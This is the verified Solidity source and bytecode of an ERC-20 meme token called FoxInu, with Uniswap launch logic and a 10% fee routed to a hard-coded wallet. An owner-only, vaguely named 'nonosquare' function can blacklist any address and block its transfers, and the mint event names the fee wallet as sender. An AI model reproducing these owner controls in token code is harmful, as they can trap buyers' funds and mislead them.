0x965763cd79347837d5951644f4b9f76d63f14289
/** http://www.foxinu.net https://t.me/FoxInuErc */ pragma solidity ^0.8.12; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FoxInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 500000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "FoxInu"; string private constant _symbol = "FoxInu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x0a3b2F57dCAFA303bE93376b93f60CB0E322C6fC); _feeAddrWallet2 = payable(0x0a3b2F57dCAFA303bE93376b93f60CB0E322C6fC); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0a3b2F57dCAFA303bE93376b93f60CB0E322C6fC), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount/10*2); _feeAddrWallet1.transfer(amount/10*8); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461031a578063a9059cbb14610345578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b80636fc3eaec1461028457806370a082311461029b578063715018a6146102d85780638da5cb5b146102ef57610109565b806323b872dd116100d157806323b872dd146101ca578063273123b714610207578063313ce567146102305780635932ead11461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd146101765780631b3f71ae146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612424565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906124ee565b61042a565b60405161016d9190612549565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612573565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c391906126d6565b610458565b005b3480156101d657600080fd5b506101f160048036038101906101ec919061271f565b610582565b6040516101fe9190612549565b60405180910390f35b34801561021357600080fd5b5061022e60048036038101906102299190612772565b61065b565b005b34801561023c57600080fd5b5061024561074b565b60405161025291906127bb565b60405180910390f35b34801561026757600080fd5b50610282600480360381019061027d9190612802565b610754565b005b34801561029057600080fd5b50610299610806565b005b3480156102a757600080fd5b506102c260048036038101906102bd9190612772565b610878565b6040516102cf9190612573565b60405180910390f35b3480156102e457600080fd5b506102ed6108c9565b005b3480156102fb57600080fd5b50610304610a1c565b604051610311919061283e565b60405180910390f35b34801561032657600080fd5b5061032f610a45565b60405161033c9190612424565b60405180910390f35b34801561035157600080fd5b5061036c600480360381019061036791906124ee565b610a82565b6040516103799190612549565b60405180910390f35b34801561038e57600080fd5b50610397610aa0565b005b3480156103a557600080fd5b506103ae610b1a565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612859565b611029565b6040516103e49190612573565b60405180910390f35b60606040518060400160405280600681526020017f466f78496e750000000000000000000000000000000000000000000000000000815250905090565b600061043e6104376110b0565b84846110b8565b6001905092915050565b60006706f05b59d3b20000905090565b6104606110b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e4906128e5565b60405180910390fd5b60005b815181101561057e5760016006600084848151811061051257610511612905565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061057690612963565b9150506104f0565b5050565b600061058f848484611283565b6106508461059b6110b0565b61064b856040518060600160405280602881526020016132c360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106016110b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118889092919063ffffffff16565b6110b8565b600190509392505050565b6106636110b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e7906128e5565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61075c6110b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e0906128e5565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108476110b0565b73ffffffffffffffffffffffffffffffffffffffff161461086757600080fd5b6000479050610875816118ec565b50565b60006108c2600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f1565b9050919050565b6108d16110b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461095e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610955906128e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f466f78496e750000000000000000000000000000000000000000000000000000815250905090565b6000610a96610a8f6110b0565b8484611283565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae16110b0565b73ffffffffffffffffffffffffffffffffffffffff1614610b0157600080fd5b6000610b0c30610878565b9050610b1781611a5f565b50565b610b226110b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba6906128e5565b60405180910390fd5b600f60149054906101000a900460ff1615610bff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf6906129f8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c8e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166706f05b59d3b200006110b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfd9190612a2d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d889190612a2d565b6040518363ffffffff1660e01b8152600401610da5929190612a5a565b6020604051808303816000875af1158015610dc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de89190612a2d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e7130610878565b600080610e7c610a1c565b426040518863ffffffff1660e01b8152600401610e9e96959493929190612ac8565b60606040518083038185885af1158015610ebc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ee19190612b3e565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550662386f26fc100006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fe2929190612b91565b6020604051808303816000875af1158015611001573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110259190612bcf565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f90612c6e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f90612d00565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112769190612573565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612d92565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e24565b60405180910390fd5b600081116113a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139d90612eb6565b60405180910390fd5b6000600a81905550600a600b819055506113be610a1c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561142c57506113fc610a1c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561187857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114d55750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6114de57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115895750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115df5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115f75750600f60179054906101000a900460ff165b156116a75760105481111561160b57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061165657600080fd5b601e426116639190612ed6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117525750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117a85750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117be576000600a81905550600a600b819055505b60006117c930610878565b9050600f60159054906101000a900460ff161580156118365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561184e5750600f60169054906101000a900460ff165b156118765761185c81611a5f565b6000479050600081111561187457611873476118ec565b5b505b505b611883838383611cd8565b505050565b60008383111582906118d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c79190612424565b60405180910390fd5b50600083856118df9190612f2c565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002600a846119379190612f8f565b6119419190612fc0565b9081150290604051600060405180830381858888f1935050505015801561196c573d6000803e3d6000fd5b50600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6008600a846119b89190612f8f565b6119c29190612fc0565b9081150290604051600060405180830381858888f193505050501580156119ed573d6000803e3d6000fd5b5050565b6000600854821115611a38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2f9061308c565b60405180910390fd5b6000611a42611ce8565b9050611a578184611d1390919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a9757611a96612593565b5b604051908082528060200260200182016040528015611ac55781602001602082028036833780820191505090505b5090503081600081518110611add57611adc612905565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ba89190612a2d565b81600181518110611bbc57611bbb612905565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c2330600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110b8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c8795949392919061316a565b600060405180830381600087803b158015611ca157600080fd5b505af1158015611cb5573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611ce3838383611d5d565b505050565b6000806000611cf5611f28565b91509150611d0c8183611d1390919063ffffffff16565b9250505090565b6000611d5583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f87565b905092915050565b600080600080600080611d6f87611fea565b955095509550955095509550611dcd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e6285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611eae816120fa565b611eb884836121b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f159190612573565b60405180910390a3505050505050505050565b6000806000600854905060006706f05b59d3b200009050611f5c6706f05b59d3b20000600854611d1390919063ffffffff16565b821015611f7a576008546706f05b59d3b20000935093505050611f83565b81819350935050505b9091565b60008083118290611fce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc59190612424565b60405180910390fd5b5060008385611fdd9190612f8f565b9050809150509392505050565b60008060008060008060008060006120078a600a54600b546121f1565b9250925092506000612017611ce8565b9050600080600061202a8e878787612287565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061209483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611888565b905092915050565b60008082846120ab9190612ed6565b9050838110156120f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e790613210565b60405180910390fd5b8091505092915050565b6000612104611ce8565b9050600061211b828461231090919063ffffffff16565b905061216f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6121cc8260085461205290919063ffffffff16565b6008819055506121e78160095461209c90919063ffffffff16565b6009819055505050565b60008060008061221d606461220f888a61231090919063ffffffff16565b611d1390919063ffffffff16565b905060006122476064612239888b61231090919063ffffffff16565b611d1390919063ffffffff16565b9050600061227082612262858c61205290919063ffffffff16565b61205290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806122a0858961231090919063ffffffff16565b905060006122b7868961231090919063ffffffff16565b905060006122ce878961231090919063ffffffff16565b905060006122f7826122e9858761205290919063ffffffff16565b61205290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156123235760009050612385565b600082846123319190612fc0565b90508284826123409190612f8f565b14612380576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612377906132a2565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156123c55780820151818401526020810190506123aa565b838111156123d4576000848401525b50505050565b6000601f19601f8301169050919050565b60006123f68261238b565b6124008185612396565b93506124108185602086016123a7565b612419816123da565b840191505092915050565b6000602082019050818103600083015261243e81846123eb565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006124858261245a565b9050919050565b6124958161247a565b81146124a057600080fd5b50565b6000813590506124b28161248c565b92915050565b6000819050919050565b6124cb816124b8565b81146124d657600080fd5b50565b6000813590506124e8816124c2565b92915050565b6000806040838503121561250557612504612450565b5b6000612513858286016124a3565b9250506020612524858286016124d9565b9150509250929050565b60008115159050919050565b6125438161252e565b82525050565b600060208201905061255e600083018461253a565b92915050565b61256d816124b8565b82525050565b60006020820190506125886000830184612564565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6125cb826123da565b810181811067ffffffffffffffff821117156125ea576125e9612593565b5b80604052505050565b60006125fd612446565b905061260982826125c2565b919050565b600067ffffffffffffffff82111561262957612628612593565b5b602082029050602081019050919050565b600080fd5b600061265261264d8461260e565b6125f3565b905080838252602082019050602084028301858111156126755761267461263a565b5b835b8181101561269e578061268a88826124a3565b845260208401935050602081019050612677565b5050509392505050565b600082601f8301126126bd576126bc61258e565b5b81356126cd84826020860161263f565b91505092915050565b6000602082840312156126ec576126eb612450565b5b600082013567ffffffffffffffff81111561270a57612709612455565b5b612716848285016126a8565b91505092915050565b60008060006060848603121561273857612737612450565b5b6000612746868287016124a3565b9350506020612757868287016124a3565b9250506040612768868287016124d9565b9150509250925092565b60006020828403121561278857612787612450565b5b6000612796848285016124a3565b91505092915050565b600060ff82169050919050565b6127b58161279f565b82525050565b60006020820190506127d060008301846127ac565b92915050565b6127df8161252e565b81146127ea57600080fd5b50565b6000813590506127fc816127d6565b92915050565b60006020828403121561281857612817612450565b5b6000612826848285016127ed565b91505092915050565b6128388161247a565b82525050565b6000602082019050612853600083018461282f565b92915050565b600080604083850312156128705761286f612450565b5b600061287e858286016124a3565b925050602061288f858286016124a3565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128cf602083612396565b91506128da82612899565b602082019050919050565b600060208201905081810360008301526128fe816128c2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061296e826124b8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129a1576129a0612934565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006129e2601783612396565b91506129ed826129ac565b602082019050919050565b60006020820190508181036000830152612a11816129d5565b9050919050565b600081519050612a278161248c565b92915050565b600060208284031215612a4357612a42612450565b5b6000612a5184828501612a18565b91505092915050565b6000604082019050612a6f600083018561282f565b612a7c602083018461282f565b9392505050565b6000819050919050565b6000819050919050565b6000612ab2612aad612aa884612a83565b612a8d565b6124b8565b9050919050565b612ac281612a97565b82525050565b600060c082019050612add600083018961282f565b612aea6020830188612564565b612af76040830187612ab9565b612b046060830186612ab9565b612b11608083018561282f565b612b1e60a0830184612564565b979650505050505050565b600081519050612b38816124c2565b92915050565b600080600060608486031215612b5757612b56612450565b5b6000612b6586828701612b29565b9350506020612b7686828701612b29565b9250506040612b8786828701612b29565b9150509250925092565b6000604082019050612ba6600083018561282f565b612bb36020830184612564565b9392505050565b600081519050612bc9816127d6565b92915050565b600060208284031215612be557612be4612450565b5b